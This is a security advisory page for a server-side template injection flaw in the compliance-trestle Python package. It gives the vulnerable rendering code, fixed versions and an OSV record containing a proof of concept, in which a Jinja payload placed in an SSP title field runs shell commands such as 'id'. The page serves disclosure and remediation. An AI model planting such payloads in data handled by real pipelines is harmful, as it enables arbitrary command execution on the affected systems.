CVE-2026-46439: Compliance trestle Remote Code Execution Vulnerability
HIGHCVE-2026-46439 is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves compliance-trestle vulnerable to remote code execution via recursive server-side template injection (ssti). Remediation is available by upgrading affected packages to version 3.12.2, 4.0.3.
CVE-2026-46439 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-46439
To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install compliance-trestle>=3.12.2
pip install compliance-trestle>=4.0.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show compliance-trestle
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-46439, inspect your installed packages using pip:
pip show compliance-trestle
Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.2), your application is affected.
Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46439 Affected Compliance trestle Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
compliance-trestle
|
PyPI |
< 3.12.2
|
3.12.2
|
|
compliance-trestle
|
PyPI |
≥ 4.0.0
< 4.0.3
|
4.0.3
|
References
Frequently Asked Questions
What is CVE-2026-46439?
Which Compliance trestle versions are affected?
What version fixes CVE-2026-46439?
Is compliance-trestle affected?
What is the CVSS score of CVE-2026-46439?
What CWE is associated with CVE-2026-46439?
How can I check PyPI dependencies for CVE-2026-46439?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gg2g-p7xc-qqmm",
"modified" : "2026-05-28T19:01:38Z",
"published" : "2026-05-28T19:01:38Z",
"aliases" : [ "CVE-2026-46439" ],
"summary" : "compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)",
"details" : "A High severity Server-Side Template Injection (SSTI) vulnerability exists in the `trestle author jinja` command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).\n\n**The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.** \n\nThis distinction is critical: the template author may only intend to render plain text (e.g., `Title: {{ ssp.metadata.title }}`), but because of the recursive parsing, the data field itself becomes executable. \n\nThe vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.\n\n## Details\nIn `trestle/core/commands/author/jinja.py`, the `render_template` method performs recursive template evaluation to allow nesting within expressions:\n\n```python\n @staticmethod\n def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:\n new_output = template.render(**lut)\n output = ''\n error_countdown = JinjaCmd.max_recursion_depth\n while new_output != output and error_countdown > 0:\n error_countdown = error_countdown - 1\n output = new_output\n random_name = uuid.uuid4()\n dict_loader = DictLoader({str(random_name): new_output})\n # jinja_env does not use SandboxedEnvironment\n jinja_env = Environment(\n loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),\n extensions=extensions(),\n autoescape=True,\n trim_blocks=True\n )\n template = jinja_env.get_template(str(random_name))\n new_output = template.render(**lut)\n return output\n```\n\nWhen a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the `while` loop, this output is loaded into a new `Environment` via `DictLoader` and rendered again. Because `jinja_env` does not use `SandboxedEnvironment`, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.\n\n## PoC (Proof of Concept)\nThe vulnerability survives even when the template itself is fully trusted and static. \nTested on `Jinja2` version `3.1.6`.\n\n1. Create a fully trusted template (`template.j2`) that simply renders a data variable from an external SSP model:\n```jinja2\nTitle: {{ ssp.metadata.title }}\n```\n\n2. Generate a malicious OSCAL SSP document (`system-security-plans/malicious_ssp/system-security-plan.json`) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:\n```json\n{\n \"system-security-plan\": {\n \"uuid\": \"208dbe11-e6e2-411a-af18-095cd17a6a70\",\n \"metadata\": {\n \"title\": \"{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}\",\n \"last-modified\": \"2024-01-01T00:00:00+00:00\",\n \"version\": \"1.0\",\n \"oscal-version\": \"1.0.4\"\n },\n \"import-profile\": { \"href\": \"trestle://profiles/test_profile/profile.json\" }\n }\n}\n```\n\n3. Execute the `trestle author jinja` command against the malicious data:\n```bash\ntrestle author jinja -i template.j2 -o out.md -ssp malicious_ssp\n```\n*(Note: A similar payload injected via the `-lut` yaml argument yields identical results.)*\n\n4. Verify arbitrary command execution:\n```bash\nls poc.txt\n# The file poc.txt is successfully created on the filesystem.\n```\n\nAn attacker can also execute arbitrary shell commands directly, e.g.:\n```json\n \"title\": \"{{ namespace.__init__.__globals__.os.system('id') }}\",\n```\n\n## Impact\nThis vulnerability allows arbitrary command execution with the privileges of the running process. If `compliance-trestle` is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.12.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.12.1"
}
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmm"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oscal-compass/compliance-trestle"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-28T19:01:38Z",
"nvd_published_at" : null
}
}